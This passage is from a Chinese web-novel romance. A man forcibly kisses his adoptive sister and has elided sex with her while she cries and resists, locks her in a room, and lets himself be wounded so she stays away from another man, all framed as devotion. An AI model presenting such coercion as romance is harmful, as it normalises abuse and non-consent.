这感觉很新奇,像一潭枯井中发现了水源,陆念安从前从未体会过的血缘关系不在干涸,它静静流淌着,又温柔地包裹住她。 陆念安揉着眼点头,又有些感激地对着方许笑了笑,直到接过他手中的钥匙,忽觉自己好像忘了些什么。 此时正午,里屋内一半明一半暗,被分割成泾渭分明的两半。 门后的背阴处,陆祁沐在阴影里,正面无表情地看着他们欢欢喜喜。 陆念安不明所以,孟兰因察觉到,很快顺着她的视线看去,开口道:“说起来,布庄的事还要多谢念安,若非你去找了陆大人,布庄的事情大概还要棘手几日。” “只是怎悄悄做事不说?”孟兰因柔声道:“说早些说了,我也好早些将陆大人请来方府感谢感谢。” 意识到这话是何意后,陆念安有些怔愣。 想起方才脱口而出的质问,她心中冒出一个不太可能的想法,所以方才是……是她误会陆祁了? 陆念安看着身前的人影,揪住裙摆有些心虚地垂下眸子。 孟兰因瞧了,以为是她有话想单独说,便是体贴开口:“小半月未见,念安不如带你兄长去转一转?” * 说是转一转,可方府的小路弯绕,没走一会儿,陆念安便有些辨认不清方向,不知该往何处走了。 但她也没心思去想现下是哪儿,欲言又止了会儿,陆念安看向一侧的人影,丧气道:“方才我……” “如果不是因为你总是……”陆念安一顿,勉强算是为自己解释,心虚道:“我也不会误会你了。” 闷闷说完,陆念安低下头,静静等着回应。只是好半响过去,耳边都是沉默的。 这样的沉默太过压抑,心下疑惑,她眼睫微颤,试探性抬起眸来——撞进一道尤为深沉的目光。 这神色太过陌生,在炽热夏日,陆念安竟感受到一股冷气,被吓了一跳。 张了张唇,还想说些什么,手腕却被他不由分说地握住。 陆念安被迫往前走,男人身形修长,走一步她要追赶两步,匆忙间便不小心崴到脚,陆祁却也没停,面无表情地走过弯绕小道。 分明是在方家,他却熟悉到能将所有路都记住。 陆念安忘了反抗,再回过神时,眼前的景物恍然已改,变得熟悉起来。 走过最后的长廊,小院的门被一手推开,陆祈近乎是将她丢进最里间的屋子。 门很快被他合上,封闭空间中气氛变得压抑。 陆念安忍不住挣脱,方才微弱的心虚尽数转变为害怕,她下意识想要逃离,退后一步。 没退几步便退无可退,脊背抵上漆木红门,陆念安紧张地缩了缩。 陆祁站在她的对立面,将她所有的抗拒收入眼底,他平声开口:“阿念,明日该回上京了。” 简单的几个字,听不出什么情绪来,陆念安想也没想立马否定掉:“不要!” “不要?”听着她坚定的回答,陆祁气极反笑,幽幽问道:“阿念就这般喜欢浅西?” “是喜欢浅西,还是喜欢方家?” 他上前一步,本就狭小的角落顿时让人喘不过气,陆念安几乎缩成一团,在他的质问声中有些害怕地低下头。 下颚却被大掌紧紧锢住,男人有些粗劣的指腹压着她脸侧,很快将她整张脸都抬起来。 门窗紧闭,日光黯淡的屋内,男人清俊面庞被覆上一层暗色,陆祁神色冰冷,整个人阴沉地有些陌生。 甚至同以往的每一次都不一样——是纯粹的,不加收敛的冷漠,只是一个眼神,就叫人心乱起来。 陆念安从没见过这样的陆祁,她双腿发软,靠着红木门才能勉强站立,强撑道:“可是哥哥,我们不是都说好了,会陪我留在浅西多玩一玩。” “是吗?”陆祁语调放轻:“那阿念还想玩多久?” 她神色飘忽,不太确定道:“两,两个月?” 不知那句话说错,话音刚落,陆祁眸色寒凉,禁锢住她下颚的力道随之加重,他缓声逼问她:“是两个月,还是打算一辈子都呆在浅西,呆在方家,现下连哥哥姐姐都多出来不少,阿念以后是不是还打算随意找个方家的哥哥嫁了才对?” “你在说什么?”她蹙起眉,瞪大眼眸。 陆念安不明白他忽然胡言乱语什么,说得她都有些听不懂了,反驳道:“我从没这样想过。” 隐约意识到他有些不对,陆念安捏了捏腕上的白玉镯子,不太确定的话结巴道:“总之,我,我不会一直呆在方家,等我玩够了,我会回家的。” “家?”陆祁像是没听清她说了什么,额间微鼓,他压抑到了极点,紧逼着问她:“哪个家,方家的家还是陆家的家?我们阿念还真是有本事,这才小半月便是有了新家人了,还是干脆要嫁到方家来?是喜欢叫方许的,还是那个方艾?就真和方家成了一家——” 简直不能往下想了。 一惯平静,情绪鲜少外露的陆祁眼尾泛红,他脖颈紧紧绷直,鼓起的青筋虬结,努力克制着什么。 他就不该放她来浅西,更不该因为她掉一两滴眼泪就心软。 他的阿念一贯是没良心的,从小到大,不论他待她多好,可她呢?每每想起她那个生母,便是要大病一场的。 她从没将自己真的当做陆家人,现下寻到了亲人,又怎会轻易回上京。 陆祁太了解陆念安,亦了解她一贯逃避的性子,她想嫁给谁?唤谁哥哥?又要对着谁笑?回哪个家?或是同谁共躺在一张塌上? 眼前一片漆黑。 陆祈闭上眼,手掌覆盖住陆念安的眼眸。 那大掌正不断颤抖着。 覆盖住眼眸的大掌越颤越厉害。 陆念安回忆起方才那一幕,只觉他整个人阴沉的有些诡异。 可陆念安觉得是她看错了,不然她怎么从那阴沉中还看出一丝脆弱。 还没细看,视线却被遮住了,她只好有些无力地继续解释:“哥哥,我会回上京的。” “哥哥怎么总是不听我说话?”又解释了两句,陆念安发现他根本没听,她有些没有耐心,几乎是吼道:“那我留在浅西也好,我嫁给谁都可以,你满意了——” 一句话未完,整个人已被一双有力的手臂抱起,天旋地转了瞬,身体腾空。 陆念安杏眸瞪大,眼中是分明的惊恐,听见耳边落下一声:“休想。” 很快被稳稳放在塌上,衣衫散开,她身上还残余着被疼爱过的痕迹,指痕夹杂着吻痕,而陆祁半跪在塌前,长指滑过小姑娘匀称的小腿,轻轻握住了她的脚腕。 他没忘记她崴了脚。 陆念安微愣,也是这一瞬,带着侵略的大掌狠狠覆住她的后脑往下压。 他吻得很重,席卷过每一处,亦将那些她没说完的话堵住了,只余下湿濡粘腻的水声从唇齿溢出。 她唇瓣很快便被吻得又红又肿,双颊晕开红潮,因为呼吸不畅,唇角不断往外溢出晶莹的银丝,尽数滴落到脖颈,她不断难受地轻哼起来,却怎么也推不开眼前的人。 不知过了多久,陆念安彻底软了下来,被男人吻到窒息,她眉眼娇媚,软得和水一样,再也没力气说那些难听的话。 “长大了怎么便不乖了。”陆祁喃喃自语着,用指腹替她擦拭唇角,直到她唇瓣被蹭得红肿湿润,彻底说不出话来,只能娇气地依附着他。 陆祁收回手,有些痴迷地看着她,却觉得怎么都不够。可她伤了脚,长指滑过伤处,他小心将她的双腿撑开。 (删) 陆念安软得颤抖起来,整个人无力地往下滑,她不太适应这样窒息的吻,抽噎着哭了许久,才终于有些习惯。 (删) 陆祁温柔注视着她,鼓励她,哄她:“好乖,阿念要当乖孩子吗?” (删) 陆念安终于意识到他在做什么。哥哥是在用这种方式确认她的存在吗?就像她抬手回抱住孟姨时的心情一样,她在害怕,所以才要确定。 可是……可是他也会害怕吗? 陆念安被缓慢折磨地很不舒服,红唇微张,她全身上下都被汗沁湿,难受地哼了几声,双手松开,彻底没了力气,只能无力地往下滑落。 陆祈单手握住她的腰,轻眯起眸子:“这么贪吃,伤了脚明日又要喊疼了?” 往下滑落的瞬间,陆念安便弄得说不出话来,她很快娇声娇气地哭起来,她哭得很好看,泪珠将小脸染得湿润,红肿的唇瓣,破碎的眼眸,羞耻到全身上下都透着薄粉。 陆祈安抚地吻着她眼眸,没动,哑声道:“记住今日了吗?” 陆念安浑身泛痒,她真的有些迷乱了,思绪昏昏沉,她一边哭一边点头,一边哭一边摇头,根本不知道他在说些什么,也根本不知道自己在做些什么,整个人可怜极了。 “就当你记住了。” 话音刚落,陆念安就只会哭着摇头了,一边用柔弱无力的小手妄想推开他。 “阿念,你是我的,完完整整,从里到外,都是我的,”吻上她的眼眸,陆祁一遍一遍确认道:“你是我的,阿念。” 他不知餍足,反反复复地如此确认,偶尔也会开口夸一夸她:“阿念好像一颗烂掉的桃子。” 撕开薄薄的果皮,内里是透着粉的果肉,因为过度成熟,轻戳一戳便留下一个坑,被搅开后便全是黏糊糊的水,太多了,搅都搅不完。 他很喜欢,不断吻着她,连她的十指都没放过:“我的阿念……” 窗外天都已经黑了,他不知重复了多少次这话,不知餍足地抱着她。 听得多了,陆念安连哭都哭不出来,她细喘着,乌发汗津津地粘在脖颈,一副困到极致的娇气模样。 “唔,”陆念安只想让这一切快些结束,想了想,唇齿含糊,敷衍至极地开口:“……我是你的。” 她显然长了教训,不敢再说那些惹怒人的话,整个人乖巧极了。 可话音刚落,男人握住她细腰上的力道却猛得加重,他抱得很紧,像一条小狗一样紧紧挨着她,舔她的眼眸,鼻尖,脸上变得湿漉漉的,陆念安有些委屈,不明白自己又说错了什么,换来他没休止地动作,抽哽着哭起来。 第95章 第九十五章 醒来时,脚腕还是不可避免地肿了,她皮肤薄,稍有一点痕迹便显得可怖。 闷了半响,陆念安委屈地擦掉眼泪,有些笨拙地起身。她根本不敢看自己身上的痕迹,随意扯出件外衫就将自己裹起来。 陆念安顶着一头乱糟糟的乌发,她唇瓣还是肿的,见屋内没人,盈盈双眸看向门外,沙哑着嗓子喊道:“秋菊。” 一连唤了几声,屋外却是沉静,一点回应也没有,陆念安忽然意识到什么不对,晕乎乎环顾起室内想找些什么。 乌木屏风旁摆着的小案上放着个白釉花瓶,瓶中空荡却什么也没有,视线扫到这时——不对,这里不是方家。 心中升起恐惧。 陆念安有些怀疑地下了榻,脚腕很疼,她便走得很慢,但没有放弃,还是忍着疼,一步一步挪到高门旁。 靠着门缓了缓,陆念安抿唇,无力地抬起素指推门,她已经用尽仅剩的力气,推了推,眼前的那扇高门却纹丝不动。在昏暗的阴影里,陆念安面色瞬间就苍白了。 恼怒过后,陆念安有些委屈。 他怎么能将她一个人关起来呢? 脚腕上钻心的疼,陆念安越想越难过,干脆蹲在门边,正无措时,眼前落下一束温暖明亮的光芒,她视线顺着这光望去,看见一扇未被完全合上的窗。 暖光正透过花窗的缝隙落下,不知想到什么,陆念安犹豫着,还是站起身来。 …… 费力爬上花窗,抬眸望向屋外,整座小院静谧,长势极好的夏草沐在光下,一片生机盎然。 陆念安却没心思去欣赏,真正够上来以后,才觉这花窗的位置有些偏高了。她蜷缩着蹲下来,脚腕因此紧紧绷直,一阵一阵钻心的疼。 可当下除了跳下去,显然也没有更好的法子,陆念安轻呼出口气,终是狠下心用脚尖去够地面。 从高处跳下,下落的一瞬,不可避免地磕着脚腕,陆念安当即靠墙吸气,疼得说不出话来。 她忍疼走出这间院落,很快意识到此处是前日里来过的客栈。这客栈好像有些偏僻,是靠双腿很难走出的地方。 陆念安有些失望和害怕,正欲转身走回时,她听见一道熟悉的声音,于是她下意识就寻着那声音找去。 靠右侧第一间厢房,里屋内焚着淡香,松木的味道压过一室苦涩。 青竹手中拿着从上京寄来的信,一共三封,他上前,将信交由静坐在主位上的男人,恭敬道:“大人,都是宫里寄来的,可要回些什么?” “不用。”陆祁撕开信封,看了两眼后,随意将信纸扔进火炉中,火舌席卷燃烧,那三封信依次化为灰烬,陆祁面无表情地看着,苍白的脸上被火光染上几分颜色。 “那,”青竹看着他有些担忧地改口,连忙道:“大人,从上京带来的药几乎耗尽,王太医交代过您的伤,若伤势继续恶化,很可能伤了筋骨,我还是替你去寻大夫来看看——” 一句话未完,陆祁忽得抬眸往外看,他目光很平,没什么情绪,生生灼得人心口一跳。 厢房外,靠窗偷听的陆念安才刚刚站稳,有些不知所措地愣在原地。 “阿念,进来。” 男声很沉,闻言,陆念安动了动脚腕,不太自然地推开门往里走去。 她心中存着许多气,进屋见陆祁同个没事人一般静坐着。身后是堆满书的高柜子,他一袭黑衣,面上没有表情,尤为冷清。 正燃烧着的火炉越来越旺,火光浮光,陆念安有些恼得想质问他为什么要锁门,张了张唇,目光却被长桌上的药碗吸引住。 那药碗就摆在火炉旁,里面空空荡荡什么也没有,陆念安闻到淡香下熟悉的苦涩,方才青竹是说……她有些怀疑地抬起眸,忽然忘了自己原本要些问什么,当下道:“哥哥可是生病了? ” 陆祁静静看着她,离得近了,他眸间清冷渐逝,那些不近人情的冷漠在妹妹面前,尽数化为柔和。 “没有。”陆祁淡声否定,随即起身,自然地将圈椅让给她坐。 陆念安不明所以,光下琥珀色的瞳孔水润,她一边坐下,歪头,怀疑着:“是吗?” 她没有好好穿衣,薄纱制得寝衣外,松松垮垮披着男人的外衫,刚坐下便散成一团。 陆祁神色微动,他拉起她的手往宽大袖摆里送,叹道:“要穿就好好穿,这像什么话?” 陆念安抿唇,忽然想起自己本要问些什么话,她恼道:“还不是你,我不要呆在这儿,你凭什么将我锁,” 脚腕一痒,正恼怒中的小姑娘被长指碰到伤处,她顿时就疼得说不出话了,盈盈水润的眸子闪着晶莹,瞧着可怜极了。 陆祁不知何时半蹲了下来,平整黑衣压出褶皱,他垂眸下眸子,大掌托着她脚跟抬起。 粉绸绣鞋塔拉在脚上,陆祁耐心地替她褪下绣鞋,托住她赤裸的足,让她踩在自己的掌心上。 小姑娘的足生得莹白,常年没见过光,更是娇嫩,被有些粗糙的指腹擦过,便极轻微地颤抖起来。 陆祁在检查她的伤势,他没什么表情,只是沉默着,仍旧是极冷清的模样。 陆念安只能见到他压下的头颅和高挺的鼻。虽看不清,却也能想到他捧着自己的足仔细检查着,就和以前一样。 只是他看了太久,久到陆念安都有些犯困,她揉揉眼,百般聊赖地晃动起另一只脚,问他:“怎么还没看好啊。” 晃着晃着,一角踢在什么硬处上,陆祁将压在胸膛上的那只小脚挪开,很平静地无奈着:“阿念,别动。” 陆念安一瞬安分了,过了好一会儿,她感受到有什么冰凉被覆在伤处,带着草木香的药膏被长指温柔抹开,有些痒。 药膏被涂好后,陆祁却没起身,仍握着她的足,他语气听不出情绪:“昨日喊疼,今天又能这般折腾了?” 听见这话,陆念安缩了缩脚有些心虚,很快,她回忆起那扇被锁上的门:“如果不是门被关上了,我才不会想着跳窗,就不会压伤到脚腕了。你凭什么把我带到这儿来?” “阿念,”他好像有些累,忽然叹声气:“好好呆着,安分些好不好?” 陆念安有些委屈地摇头:“才不要。” 她有时会想,如果陆夫人当时没有替她做主退了婚,她或许便不用来浅西,如若嫁了人,她就不会这样混乱了。 而不是像现在这样,虽不是至亲血缘,但怎么也都以兄妹相称了数十年,怎么能……怎么能这样混乱。 陆念安乱糟糟烦着,直到足背传来湿濡的痒意,浑身一僵。 正午落下的日光此刻近乎刺目,陆祁低头,有些缱绻地在小姑娘娇嫩足背上吻了吻。他面色苍白,其实泛着些病态的疲惫,很淡声道:“可阿念不听话,就只能关起来了。” 平静之下,男声带着不容人置疑的强硬,几乎是瞬间,陆念安有些害怕地回忆起昨夜。 他也是用这种语气,在她耳边一句一句的确认“你是我的”。 说得多了,她竟然都有些习惯。 像小时候哥哥喂来得药,她一开始好像也是哭着各种抗拒,到后来却能面不改色地灌下一大碗,他总是说这是为了她好,然后用尽各种法子让她习惯。 陆念安有些不适地动了动足,却被他托住又吻了吻,须臾,他终于起身,黑色长衫凌乱,一张脸清俊,静静凝视着她。 心脏奇异地有些痒,陆念安觉得自己有些被困住了,她没有说话,紧张低下了头。 这模样落在陆祁眼中已然成了逃避,他面色微冷,上前将小姑娘揽进怀中,双手禁锢住,埋进她颈窝里问她:“同哥哥呆在一起不好吗?为什么阿念总想着别人。” “我……”蜷缩在高大男人的怀中,陆念安被称得越发娇小,她不太适应地动了动,娇气蹙起眉,恼道:“我没有想别人的。” 可陆祁好像又变得和昨夜一样,他听不进她说的任何话,她更气,双颊鼓起。刚抬起手,摸到他怀中掉出了块长方木牌。 有些熟悉的触感,陆念安捏住正要细看,那木牌却被一只大手抢走。见状,陆念安细眉紧紧蹙起,仰起头质问他:“你什么时候偷拿了我的东西?” “阿念的东西?”陆祁忽得反问她:“我竟不知,阿念何时还佩了块佛牌随身携带。” “不是我的东西,但也是我捡到的,只是还没拿去医馆还给沈大夫,”方才那话只是脱口而出,陆念安解释完,闷闷道:“不都一样吗?你能不能别这么同我计较。”她不太喜欢。 陆祁并未将那佛牌还给她,大掌抚过她的乌发,他平静开口:“那便送去青竹那儿让他还去医馆如何?” 陆念安不说话了。 见她不语,陆祁不疾不徐地又问:“怎么,阿念不愿意?” “没有。” 陆念安摇头,心下却觉得有些遗憾。 退了婚后的男女见面,放在大景是有些不合时宜。 可陆念安想,她还有些话很想问一问沈淮安。现下那点说不清道不明的遗憾加重,她虽是摇头,整个人都焉焉的,双眸都黯淡下来。 见状,陆祁将佛牌还给她,忽然一言不发地抱起她往外走。 今日实在是个好天气,院子里暖光亮得刺目,陆祁将她带到了一辆马车前,面无表情地止步。 陆念安迷茫看着眼前,意识到什么,她眼中黯淡的光亮一点一点复明,问他:“哥哥你要带我去医馆呀?” 陆祁沉默,想起她因为旁人失魂落魄的模样,他看向她的目光变得有些深沉,终是没有否认。 * 客栈地处偏远,供皇家所用后,这里几乎成了了无人烟的世外桃源。 临行前,车夫照常检查马儿有没有挂好缰绳,青竹站在马车旁,因为紧张,他额上滑过密密麻麻的汗珠,大着胆子提醒:“大人,这几日李太尉的人怕是追来了,皇上派来的人却还未到,这两日出去,实在有些惹眼。” 新帝上位后一改前朝懒散,光是拿来杀鸡儆猴的便不下十人,朝中早已有人看不惯了,生出一支六皇子党派。 可人皆知六皇子痴傻,簇拥六皇子上位,不过是好加以控制罢了。李太尉便是六皇子党派之一,坚持大皇子杀父继位,又主张陆祁是其中的帮凶之一,暗地里逼得很紧。 陆家那支禁军早已调给了当今皇上,此番来青州,陆祁并未多带谁。 也就是因为这般,青竹才会如此担忧地提醒他:“今日来信,皇上送来的暗卫还要一日才能赶到。” 车夫检查好缰绳,马儿已经跃跃欲试,在青竹欲言又止中,陆祁转身上了马车,语调回复平静:“走吧。” 马车很快行驶过空荡的长街,耳边传来呼啸的风声,直到这一刻,陆念安仍觉得有些不真实。 她手中捏着那佛牌,缓缓侧眸看向陆祁,那张清俊的面庞平和,可明明他从前才不会……才不会这样好说话的。 陆念安猜不出来,索性就干脆不想了。 她的确还有话没问沈淮安。 陆念安一连几日都没找到机会,现下看着窗外疾驰而过的绿荫,她松口气,静静想着待会儿要如何开口。 从客栈去医馆的路还有很长一段,马车内安静,还没想出要说些什么,陆念安却靠着身侧之人的肩先睡着了。 直到她闭上眸的一瞬,陆祁微动,面无表情地将她一直握在手中的佛牌丢开。 * 不知过了多久,马车驶过长街,周遭不在安静,渐渐多出来些声响,很快,叫卖声变多,这些声音嘈杂混乱。 车夫并不只是寻常车夫,几乎是步入闹市的瞬间,他便察觉到什么不对,整个人紧绷起来。 青州并不大,稍有点风吹草动便是很快传开的,更别说身处于这般闹市了,车夫紧握住缰绳不敢松气。 而隐入人群唯一的好处大概是那些人不敢乱来。 若是暗杀,大抵是用箭。 刚这样想到,一支长箭射穿空气,直直对着马车内刺入。 车夫握住缰绳的手猛地收紧,控制马儿往前疾驰。 一路不停,疾驰间,车身摇摇欲坠,马车内也极为不稳,陆念安睡得浅,很快被晃醒了。 “哥哥?”她睁开眸时有些迷茫,下意识去唤身旁的人,却没人回答。 陆念安只好揉着眼寻人,视线刚得以清晰,也是这时,一支长箭穿透而来,直直刺进眼前的小案中。 …… 虽是长大了,却也只是后宅女子,这突如其来的变故吓了陆念安一跳,她有些迷茫,霎那间还以为自己是在做梦。 小案一侧,陆祁静静坐着,眸色温柔地看着她,就仿若没注意到那支忽然刺进的长箭。 陆念安看着他这般平静的模样,一时更分不清那是梦还是现实了,她抿唇,有些胆小地上前去抱他,主动往男人怀中钻,很快被那双大手回抱住。 她刚松口气,却觉自己竟嗅到血的味道,陆念安眼睫微颤,不知想到了什么,她静静收回手来。 低垂眸,手心湿濡着一片鲜红,近乎刺目的颜色。 那箭是真的。 马车终于安稳了下来,只是封闭的车内却多出一股浓厚的血腥味,陆念安不可置信地眨了眨眼,才注意到地下还散落了一支带血的长箭。 她昏睡过的头脑开始变得晕乎乎起来。 陆念安希望这是一个梦才对,可是没有,无论是带血的长箭还是手心的湿濡,都不断提醒她眼前的一切皆是真实的。 “怎么哭了?” 一双大手捧起她的脸,她眸间不断溢出晶莹的泪珠,湿漉漉的,可怜至极。 陆祈看了看,心疼地将她抱紧怀中。 在不断收紧的窒息相拥中,后肩新鲜的箭伤溢出鲜血,陆念安感受到渐浓的血腥气,胡乱着抬起手,果不其然触到满手的湿润。 鲜血多到已将黑衣淋湿,陆念安满脸惊恐和眼泪,回过神,她有些慌乱想推开他查看伤势,推了推,却没推开,急得胡乱解释:“哥哥你受伤了我帮你看看……” 因为失血过多,陆祈一张脸病态的近乎透明,他没有说话,双眸平静,执拗着盯着她。 好像在说,那又怎样。 后知后觉想明白什么,陆念安杏眸瞪大,不可置信道:“你疯了?” 疯。 从军中到入朝,整整二十余年,陆祈从未听谁用这个字形容他。 或许他的确是疯了。 才会在新伤压着旧伤之际,痴迷看着她脸上的小表情,害怕担忧或是心疼,她为他流得眼泪也很好看。 他将她抱得更紧了,明明有更容易法子打消她来医馆,他偏用这种方式让她深刻记住。 陆祈并不怕疼,却怕她又说那些要嫁其他人的话,或是她对旁人笑对旁人撒娇,他的阿念实在太小了,永远长不大,稍一不看着,便就要用别人跑了……不论是谁也不可以。 从里到外从身到心,她只会都是他的,陆祈吻着她眼泪,不错过她神色里的慌乱和担忧,问她:“还去见沈淮安吗?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第96章 正文完结 第96章 正文完结 “还去见沈淮安吗?” 泪珠模糊了视线,听见这话,陆念安指尖微颤,才觉捏在手中的佛牌不知被丢去了哪儿,可她却没有心思去寻了。 当喧闹彻底散去,耳边开始变得安静,只有他越来越微弱的呼吸声残存。陆念安无声流着眼泪,泪水滑过脸颊,被人轻柔地吻去。 心脏缓慢塌陷了一块,看着陆祁越来越苍白的脸,陆念安无措着用手心去捂他后肩的伤。他还是没有松缓力度,长臂不断收紧,在近乎窒息的相拥里,手心晕开大片的湿润。 陆念安从未受过这般严重的伤,可只是看着,她也知道这会很疼很疼,她更为害怕,一边哭一边摇着头,忽然认输般低下头,抽哽道:“哥哥,我们先回家吧。” “别呆在这会儿了好不好,我们回家吧。”恳求声越来越破碎,泪眼朦胧里,莹白小手颤抖着抬起,陆念安有些生疏地环抱住男人脖颈。 风吹起车帘,泄进一束亮光,她颤抖嗓音回响在车内,却没得到回答,片刻沉默后,陆祁很轻地应了一声好。 衣衫湿了一块,他察觉到她在害怕,抬手给她擦泪,只是肩膀越来越无力,手腕也跟着颤抖,在逐渐昏沉的意识中,陆祁蹙起眉来,出声安抚她:“别哭,不会有事的。” 话音才落,他却几乎控制不住地闭上双眸,靠着她的肩窝,卸力般晕过去。 感受到轻压在肩上的力道,陆念安指尖颤着,彻底无措了。 耳边一时只能听见嗡嗡的响声,陆念安不知如何去形容这一刻的恐慌,僵直在原地,对接下来发生的一切开始感到恍惚。 …… 自收到青竹的信后,王太医便开始往清州赶。水路并不好走,可现如今新帝更为看重这位大臣,王太医还指望在宫里多些好日子过,于是一连多日都没敢停息,总算将日程提早了两日。 王太医自出生便被送去了太医府拜师学习,半辈子呆在深宫中,从未来过这般水乡之地。下了渔船,卸去疲惫,王太医摸了摸肚子,打算先找个地儿去吃碗热乎的。 没走两步,眼前疾驰而来一辆马车,马蹄踏起灰尘,他捂起鼻子还没反应过来,便被人连带着药箱给拎了上去。 一把年纪了,王太医吓得药箱差点没拿稳,扭头见是青竹,他摸了摸胡须,忍不住叹道:“青竹小兄弟不用急,此番来浅西,我已带好药材,虽是有些棘手,但我新学了一套针法,若是日日坚持施针,大概不出一月就能……” 闻言,青竹有些无力地低下头,轻声将现状解释一翻。 听着听着,王太医嘴角边的笑容凝固住:“又添了新伤?” 进了屋,焚香也无法压下的血腥散开,王太医提药箱疾步往前,一眼看见正躺在榻上的黑衣男人。 伤口还未处理过,湿濡布料紧黏在上方,王太医用银剪小心剪去,看着男人肩侧一片血肉模糊,他的神色逐渐变得复杂。 短短两月,两处新伤压着多年前的旧伤穿透,偏生还都伤在同一处,约莫算是废了半只手。 王太医擦了擦因为紧张而汗涔涔的额头,不明白现在的年轻人怎么会这般折磨自己。 叹声气,也只能打开药箱,尽力为之。 简单处理好伤口,他施针时需要一个相对安静的环境,没有人留在屋内打搅,青竹走出屋子时,缓缓将门合上。 午后光芒将院中的每一处都映照得刺目。不过才半日,一切却恍如隔世般陌生。 青竹揉额,余光瞥见蜷缩在红柱下的陆念安,他不知该说些什么好,顿了顿,苍白道:“小姐也累了,去厢房里歇一歇吧。” 陆念安没有说话,她已经蹲了一会儿了,整个人藏在红柱下的影里。 听见声音,浑浑噩噩起身,她缓了缓,抬眸看向青竹,轻声问:“他病了,是吗。” 认真想来,这几月其实都很不对劲,只是她从没细想过,连失手打碎花瓶的那一日,也选择不去深究。 “是因为我吗?”陆念安的声音变得有些闷。 青竹顿时更不知道说什么了,须臾,他如实道:“同小姐无关,伤都是……旁人所至。” 木窗大开,侧过身,清晰可见室内景象。 桌案上摆着许多染满血的白色纱布,陆念安想到他后来总是穿着黑衣。 思绪乱极了,屋内,王太医面色凝重地去拿银针,侧过身的瞬间,露出塌边一角。 男人平躺着,相比于常年在朝的文官,他赤裸着的胸膛劲实有力,旧伤同指痕纵横,往上是被鲜血模糊的新伤…… 头又有些昏沉了,陆念安背靠着红柱,不敢再细看那些伤口。 她缓缓低下头,看着手心上残存的血迹已经干涸,脑海里始终挥之不去方才那一幕。 她的确没那么想找沈淮安了,甚至关于佛牌的那些问题也渐变得苍白。在充斥着凝重的屋内,一切感官被他的伤口所席卷,陆念安想到自己小时候,总会刻意夸大伤口去博哥哥的关注。 侧过眸,午后过于刺目的日光透过窗散进屋内。那扇木窗还支起着,是今早门被锁住后,她迫不得已打开的。 开非要用这种方式吗? 就不能……好好说吗? * 王太医施完针,天已经黑了。陆念安守在门外,听见窸窸窣窣的动静,她抬眸看过去,眼下一片青黑,瞧着有些可怜的模样。 这神色莫名令王太医有些心虚,他不敢保证什么,谄笑着:“小姐去歇一歇吧,我待会儿过来守着,没什么大事,过两日可能就该醒了。” 还要过两日。 陆念安低下头,便不说话了。 夜深寒露,银白色月光静静流淌在廊下,陆念安身影被月光笼在其中,单薄而纤瘦。 不知过了多久,她身形微动,犹豫着往屋内走去。 敞开的门窗将血腥气散去许多,屋内没有点灯,有些暗。陆念安便走得很慢,靠近以后,她背靠着塌蹲下,有些不敢看榻上那道模糊的影。 她有些害怕。 她是哥哥养大的孩子,不论如何,对兄长始终保留一分天然的依赖感。 陆念安胆儿太小了,不知怎得联想到他可能会再也醒不来,越想越难受。沐在月光下,她将脸藏起膝中,忍不住哭了。 须臾,一道轻柔女声将她的思绪拉回。 “念安——”方子意爬在门边,小心翼翼朝里看去:“表妹妹你是睡着了吗?” 被这声音打搅,陆念安勉强收了哭声,缓了缓,她整理好情绪走至廊下,神色茫然:“表姐姐怎么来了?” 入夜后,孟兰因想起她什么也未带,一时关切,想着让个丫鬟送些物件去客栈。 方子意主动将活揽了过来,刚下马车,手中捧着厚厚一叠软绸,她抬起眸正欲解释,却看见月光下,女孩满脸的泪痕和眸中破碎的光芒。 愣了愣,连原先准备的话都忘了说,方子意忙问发生了什么事:“念安,你不会是被谁欺负了吧,我帮你去……” 陆念安摇头。 “那怎么了?”方子意担忧地看着她,忍不住催促起来:“怎么不说话,不能同我说吗?我可是你亲表姐诶,一个人哭怎么行呢,娘亲知道以后也会担心你的。” “我……”被这般直白的关心着,陆念安却不知如何开口了。 长夜漫漫,蝉鸣声四起,这样寂静的夜晚,总让人更为脆弱。 或许是此刻实在太矛盾,陆念安的确需要一个人帮帮自己,沉默半响后,她低下头闷闷道:“表姐姐,我好像分不清什么是喜欢了。” “啊?”方子意有些意外她会说出这话,在看她看来,陆念安还只是个小妹妹,何谈喜欢一词。 方子意很快便有些敏锐地朝屋内看去,轻轻猜测:“念安,方才过来姐姐我见到了位大夫,发生什么了,是念安你同你兄长闹矛盾了?” “……” 陆念安陷入沉默,神色有些不太自然,她紧张地捏着裙摆扯来扯去。 她心思实在太好猜,方子意多看了两眼,叹声气。 不怪她下意识往这上面联想,方子意只是觉得,若喜欢上寻常男子,还犯不着这样茫然。 可这也算不得什么?真论起来,陆念安同陆家可是一点亲缘也未沾,就该是他们方家人才对。 长廊下陷入寂静,方子意瞧她脸上的泪痕,不再逼问。眼珠子转了转,却忽然高声道:“唉,方艾刚求我了娘亲一下午,说是想娶表妹妹你呢,唉,表妹妹你可要好好想想了,万不能随随便便就应了。” 盈盈杏眸忽然愣住,陆念安本就混乱,听见这话,轻皱起眉,一板一眼道:“表姐姐你忽然说什么?” “念安你怎么绕不过来呢?”方子意只觉她实在单纯可欺,凑去她耳旁轻道:“我是故意说得嘛,若是都放任你嫁给方艾了,你还恼什么,不如就来我们方家算了。” “不是的,我……”误会更深,陆念安想解释什么,方子意拍拍她的肩,又将叠好的衣裙塞进她怀中:“别哭啦,表妹妹回屋吧。” * 屋内如死寂一般静谧,月光沐着高柜,陆念安走到高柜一侧的塌边,慢慢蹲下,又将自己蜷缩起来。 一整日都是紧绷的,平静下来后,她又忍不住哭了会儿,到最后连泪也流干净了,脸埋进双膝里,乱糟糟睡过去。 青州靠江,夜里已经开始有些凉了,陆念安这一觉睡得并不安稳,混乱着做了许多噩梦,她最后是被吓醒得。 睁眼是刺目白光,陆念安没注意自己何时竟上了榻,揉揉眼,她没什么精神地想起身看看。 没等她有动作,手腕被人从后方篡住,他握得有些紧,腕上浅浅的青筋凸显,正不疾不徐地将她整个人揽进怀中。 “你醒了?”陆念安反应过来,挣扎了瞬本只是想侧身看看他。 长臂绕住她的脖颈忽然收紧,陆祁吻在她耳后,声音是病态的沙哑:“又想跑去哪儿?” 想起他肩侧的伤,陆念安不由得放弃挣扎,安静下来。 晨日里光线和煦,细碎的金色光亮在眼前跳跃,陆念安感受到熟悉的气息,正将她柔和地裹住,紧张了一整夜的心神得以松缓。 不知过了多久,陆祁却忽得将人松开,他颤着手腕将怀中人换了个方向,四目相对,只看见她满脸泪痕,正无声地哭着,不知哭了多久。 陆祁捧起她的脸颊替她擦泪,指腹将她脸颊磨得有些红,他皱起眉,声音因此变得凝重:“还哭?” 